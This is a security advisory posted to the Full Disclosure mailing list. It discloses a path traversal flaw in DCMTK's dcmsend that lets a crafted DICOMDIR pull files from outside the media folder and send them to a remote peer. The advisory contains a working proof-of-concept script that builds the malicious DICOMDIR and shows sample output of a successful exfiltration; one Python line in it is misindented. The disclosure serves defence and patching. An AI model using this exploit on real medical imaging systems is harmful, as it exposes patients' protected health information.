[SYSS-2026-047]: DICOM Toolkit (DCMTK) - Path traversal (CWE-22)
Full Disclosuremailing list archivesFrom: Matthias Deeg via Fulldisclosure <full 2026-8-6 19:31:3 Author: seclists.org(查看原文) 阅读量:0 收藏

fulldisclosure logo

Full Disclosure mailing list archives


From: Matthias Deeg via Fulldisclosure <fulldisclosure () seclists org>
Date: Fri, 31 Jul 2026 09:59:40 +0200

Advisory ID:               SYSS-2026-047
Product:                   DCMTK (DICOM ToolKit)
Manufacturer:              OFFIS e.V. / DCMTK Community
Affected Version(s):       3.7.0
Tested Version(s):         3.7.0
Vulnerability Type:        Path traversal (CWE-22)
Risk Level:                High
Solution Status:           Fixed
Manufacturer Notification: 2026-07-02
Solution Date:             2026-07-03
Public Disclosure:         2026-07-31
CVE Reference:             Not yet assigned
Author of Advisory:        Matthias Deeg, SySS GmbH

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Overview:

DCMTK (DICOM ToolKit) is an open-source collection of libraries and
applications implementing large parts of the DICOM (Digital Imaging
and Communications in Medicine) standard (see [1]).

DCMTK's dcmsend is vulnerable to path traversal when it is instructed to
read input files from a specially crafted DICOMDIR. This can lead to
unauthorized disclosure of readable DICOM objects, including protected
health information.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Vulnerability Details:

The dcmsend command line option --read-from-dicomdir (+rd) enables
DcmStorageSCU::ReadFromDICOMDIRMode. In this mode, a DICOMDIR input file
is not sent itself. Instead, dcmsend reads the DICOMDIR and adds the
referenced SOP instances to its transfer list.

The affected implementation is DcmStorageSCU::addDicomFilesFromDICOMDIR()
in dcmnet/libsrc/dstorscu.cc. The function searches the DICOMDIR dataset
for ReferencedFileID (0004,1500) elements, converts DICOM backslashes to
host path separators with dicomToHostFilename(), and then combines the
result with the DICOMDIR directory:

  const OFFilename tmpFilename(dicomToHostFilename(fileID, tmpString),
                               pathName.usesWideChars());
  OFStandard::combineDirAndFilename(pathName, dirName, tmpFilename,
                                    OFTrue /* allowEmptyDirName */);

dicomToHostFilename() only replaces "\\" with the host path separator.
It does not reject ".." components, absolute paths, or other traversal
patterns. OFStandard::combineDirAndFilename() also does not canonicalize
the result or verify that the final path remains below the DICOMDIR
directory. Therefore, a ReferencedFileID such as "..\\OUTDIR\\SECRET"
becomes a host path like "MEDIA/../OUTDIR/SECRET".

The attack chain is as follows:

  1. The attacker crafts a DICOMDIR with an IMAGE directory record whose
     ReferencedFileID contains traversal components, for example
     "..\\OUTDIR\\SECRET".

  2. The same record contains ReferencedSOPClassUIDInFile,
     ReferencedSOPInstanceUIDInFile, and
     ReferencedTransferSyntaxUIDInFile values matching the targeted DICOM
     object.

  3. The victim runs dcmsend with --read-from-dicomdir (+rd) against the
     crafted DICOMDIR.

  4. dcmsend resolves the ReferencedFileID relative to the DICOMDIR
     location without rejecting the traversal.

  5. dcmsend opens and transmits the traversed DICOM file to the
     configured remote storage SCP.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Proof of Concept (PoC):

To demonstrate this security isssue, a PoC exploit was developed that
sends a DICOM file outside the media directory to an attacker when an
attacker-controlled DICOMDIR is used by dcmsend.

The crafted DICOMDIR contains a path traversal attack vector in
ReferencedFileID.

cat > poc.sh << 'EOPOC'
#!/bin/bash
# Demonstrate DICOMDIR ReferencedFileID path traversal via dcmsend

set -u

WORKDIR="$(mktemp -d /tmp/dcmtk-dcmsend.XXXXXX)"
MEDIA_DIR="${WORKDIR}/MEDIA"
OUTSIDE_DIR="${WORKDIR}/OUTDIR"
RECV_DIR="${WORKDIR}/recv"
TARGET_DUMP="${WORKDIR}/target.dump"
DICOMDIR="${MEDIA_DIR}/DICOMDIR"
TARGET_FILE="${OUTSIDE_DIR}/SECRET"
DCMSEND_LOG="${WORKDIR}/dcmsend.log"
STORESCP_LOG="${WORKDIR}/storescp.log"

cleanup()
{
    if [ -n "${STORESCP_PID:-}" ]; then
        kill "${STORESCP_PID}" 2>/dev/null || true
        wait "${STORESCP_PID}" 2>/dev/null || true
    fi
    rm -rf "${WORKDIR}"
}
trap cleanup EXIT

require_tool()
{
    command -v "$1" >/dev/null 2>&1 || {
        echo "[!] Missing required tool: $1"
        exit 1
    }
}

require_tool dump2dcm
require_tool dcmdump
require_tool dcmsend
require_tool storescp
require_tool python3

mkdir -p "${MEDIA_DIR}" "${OUTSIDE_DIR}" "${RECV_DIR}"

cat > "${TARGET_DUMP}" <<'EOF'
# Dicom-File-Format

# Dicom-Meta-Information-Header
# Used TransferSyntax: Little Endian Explicit
(0002,0001) OB 00\01
(0002,0002) UI =SecondaryCaptureImageStorage
(0002,0003) UI [1.2.826.0.1.3680043.10.543.777.1]
(0002,0010) UI =LittleEndianExplicit
(0002,0012) UI [1.2.826.0.1.3680043.10.543.370]
(0002,0013) SH [H7POC]

# Dicom-Data-Set
# Used TransferSyntax: Little Endian Explicit
(0008,0005) CS [ISO_IR 100]
(0008,0016) UI =SecondaryCaptureImageStorage
(0008,0018) UI [1.2.826.0.1.3680043.10.543.777.1]
(0008,0020) DA [20260630]
(0008,0030) TM [120000]
(0008,0060) CS [OT]
(0008,0064) CS [WSD]
(0010,0010) PN [POC^TRAVERSED]
(0010,0020) LO [H7DCMSEND]
(0020,000d) UI [1.2.826.0.1.3680043.10.543.777.2]
(0020,000e) UI [1.2.826.0.1.3680043.10.543.777.3]
(0020,0010) SH [1]
(0020,0011) IS [1]
(0020,0013) IS [1]
(0028,0002) US 1
(0028,0004) CS [MONOCHROME2]
(0028,0010) US 1
(0028,0011) US 1
(0028,0100) US 8
(0028,0101) US 8
(0028,0102) US 7
(0028,0103) US 0
(7fe0,0010) OB 00\00
EOF

dump2dcm "${TARGET_DUMP}" "${TARGET_FILE}" || exit 1

python3 - "${DICOMDIR}" <<'PY'
import struct
import sys

out = sys.argv[1]

def even(value, pad=b" "):
    return value if len(value) % 2 == 0 else value + pad

def elem(tag, vr, value):
    group, element = tag
    if isinstance(value, str):
        value = value.encode("ascii")
    if vr == "UI":
        value = even(value, b"\0")
elif vr not in ("OB", "OD", "OF", "OL", "OW", "SQ", "UC", "UR", "UT", "UN"):
        value = even(value, b" ")
    data = struct.pack("<HH", group, element) + vr.encode("ascii")
    if vr in ("OB", "OD", "OF", "OL", "OW", "SQ", "UC", "UR", "UT", "UN"):
        data += b"\0\0" + struct.pack("<I", len(value))
    else:
        data += struct.pack("<H", len(value))
    return data + value

def item(content):
    return struct.pack("<HHI", 0xFFFE, 0xE000, len(content)) + content

sop_class = "1.2.840.10008.5.1.4.1.1.7"
sop_inst = "1.2.826.0.1.3680043.10.543.777.1"
transfer_syntax = "1.2.840.10008.1.2.1"

record = b"".join([
    elem((0x0004, 0x1400), "UL", struct.pack("<I", 0)),
    elem((0x0004, 0x1410), "US", struct.pack("<H", 0xFFFF)),
    elem((0x0004, 0x1420), "UL", struct.pack("<I", 0)),
    elem((0x0004, 0x1430), "CS", "IMAGE"),
    elem((0x0004, 0x1500), "CS", r"..\OUTDIR\SECRET"),
    elem((0x0004, 0x1510), "UI", sop_class),
    elem((0x0004, 0x1511), "UI", sop_inst),
    elem((0x0004, 0x1512), "UI", transfer_syntax),
])

dataset = b"".join([
    elem((0x0004, 0x1130), "CS", "H7POC"),
    elem((0x0004, 0x1200), "UL", struct.pack("<I", 0)),
    elem((0x0004, 0x1202), "UL", struct.pack("<I", 0)),
    elem((0x0004, 0x1212), "US", struct.pack("<H", 0)),
    elem((0x0004, 0x1220), "SQ", item(record)),
])

meta_body = b"".join([
    elem((0x0002, 0x0001), "OB", b"\0\1"),
    elem((0x0002, 0x0002), "UI", "1.2.840.10008.1.3.10"),
    elem((0x0002, 0x0003), "UI", "1.2.826.0.1.3680043.10.543.777.999"),
    elem((0x0002, 0x0010), "UI", transfer_syntax),
    elem((0x0002, 0x0012), "UI", "1.2.826.0.1.3680043.10.543.370"),
    elem((0x0002, 0x0013), "SH", "H7POC"),
])
meta = elem((0x0002, 0x0000), "UL", struct.pack("<I", len(meta_body))) + meta_body

with open(out, "wb") as handle:
    handle.write(b"\0" * 128 + b"DICM" + meta + dataset)
PY

PORT="$(python3 - <<'PY'
import socket
s = socket.socket()
s.bind(("127.0.0.1", 0))
print(s.getsockname()[1])
s.close()
PY
)"

echo "[*] DICOMDIR is inside: ${MEDIA_DIR}"
echo "[*] Referenced target is outside: ${TARGET_FILE}"
echo "[*] DICOMDIR ReferencedFileID:"
dcmdump +P 0004,1500 "${DICOMDIR}"

(timeout 30 storescp --single-process -od "${RECV_DIR}" "${PORT}" >"${STORESCP_LOG}" 2>&1) &
STORESCP_PID=$!
sleep 1

set +e
dcmsend -v +rd 127.0.0.1 "${PORT}" "${DICOMDIR}" >"${DCMSEND_LOG}" 2>&1
RC=$?
set -e
sleep 1
kill "${STORESCP_PID}" 2>/dev/null || true
wait "${STORESCP_PID}" 2>/dev/null || true
STORESCP_PID=""

cat "${DCMSEND_LOG}"

RECEIVED_FILE="$(find "${RECV_DIR}" -type f | head -n 1)"
if [ "${RC}" -eq 0 ] &&
   [ -n "${RECEIVED_FILE}" ] &&
dcmdump +P 0010,0010 "${RECEIVED_FILE}" | grep -q "POC\\^TRAVERSED"; then echo "[+] SUCCESS: dcmsend followed '..\\\\OUTDIR\\\\SECRET' and transmitted the outside file"
    dcmdump +P 0010,0010 +P 0010,0020 +P 0008,0018 "${RECEIVED_FILE}"
    exit 0
fi

echo "[!] FAILED: traversal transmission was not verified"
echo "[!] Workdir retained for inspection: ${WORKDIR}"
trap - EXIT
exit 1
EOPOC

A successful attack is indicated by output similar to the following:

./poc.sh
[*] DICOMDIR is inside: /tmp/dcmtk-dcmsend.PBsYZC/MEDIA
[*] Referenced target is outside: /tmp/dcmtk-dcmsend.PBsYZC/OUTDIR/SECRET
[*] DICOMDIR ReferencedFileID:
(0004,1500) CS [..\OUTDIR\SECRET] # 16, 3 ReferencedFileID
I: checking input files ...
I: starting association #1
I: initializing network ...
I: negotiating network association ...
I: Requesting Association
I: Association Accepted (Max Send PDV: 16372)
I: sending SOP instances ...
I: Sending C-STORE Request (MsgID 1, SC)
I: Received C-STORE Response (Success)
I: Releasing Association
I:
I: Status Summary
I: --------------
I: Number of associations   : 1
I: Number of pres. contexts : 1
I: Number of SOP instances  : 1
I: - sent to the peer       : 1
I:   * with status SUCCESS  : 1
[+] SUCCESS: dcmsend followed '..\\OUTDIR\\SECRET' and transmitted the outside file
(0010,0010) PN [POC^TRAVERSED]                          #  14, 1 PatientName
(0010,0020) LO [H7DCMSEND]                              #  10, 1 PatientID
(0008,0018) UI [1.2.826.0.1.3680043.10.543.777.1] # 32, 1 SOPInstanceUID

This demonstrates that dcmsend reads a file outside the DICOMDIR
directory and transmits it to the configured DICOM peer.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Solution:

This security issue was fixed with the commit
225ff1e0e42efcac64a5275e8f06ade14ca509b5 (see [4]).

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Disclosure Timeline:

2026-07-02: Vulnerability reported to manufacturer
2026-07-02: Manufacturer acknowledges receipt of security advisories
2026-07-03: Security fix published by manufacturer (see [4])
2026-07-31: Public release of security advisory

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

References:

[1] DCMTK project website
    https://dcmtk.org/en/
[2] SySS Security Advisory SYSS-2026-047
https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2026-047.txt
[3] SySS GmbH, SySS Responsible Disclosure Policy
    https://www.syss.de/en/responsible-disclosure-policy
[4] DCMTK security fix
https://github.com/DCMTK/dcmtk/commit/225ff1e0e42efcac64a5275e8f06ade14ca509b5

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Credits:

This security vulnerability was found by Matthias Deeg of SySS GmbH with
the assistance of SySS AI.

E-Mail: matthias.deeg (at) syss.de
Public Key: https://www.syss.de/fileadmin/dokumente/PGPKeys/Matthias_Deeg.asc
Key fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Disclaimer:

The information provided in this security advisory is provided "as is"
and without warranty of any kind. Details of this security advisory may
be updated in order to provide as accurate information as possible. The
latest version of this security advisory is available on the SySS
website.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Copyright:

Creative Commons - Attribution (by) - Version 4.0
URL: https://creativecommons.org/licenses/by/4.0/deed.en

Attachment: OpenPGP_signature.asc
Description: OpenPGP digital signature

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/

Current thread:

  • [SYSS-2026-047]: DICOM Toolkit (DCMTK) - Path traversal (CWE-22) Matthias Deeg via Fulldisclosure (Aug 06)

文章来源: https://seclists.org/fulldisclosure/2026/Aug/25
如有侵权请联系:admin#unsafe.sh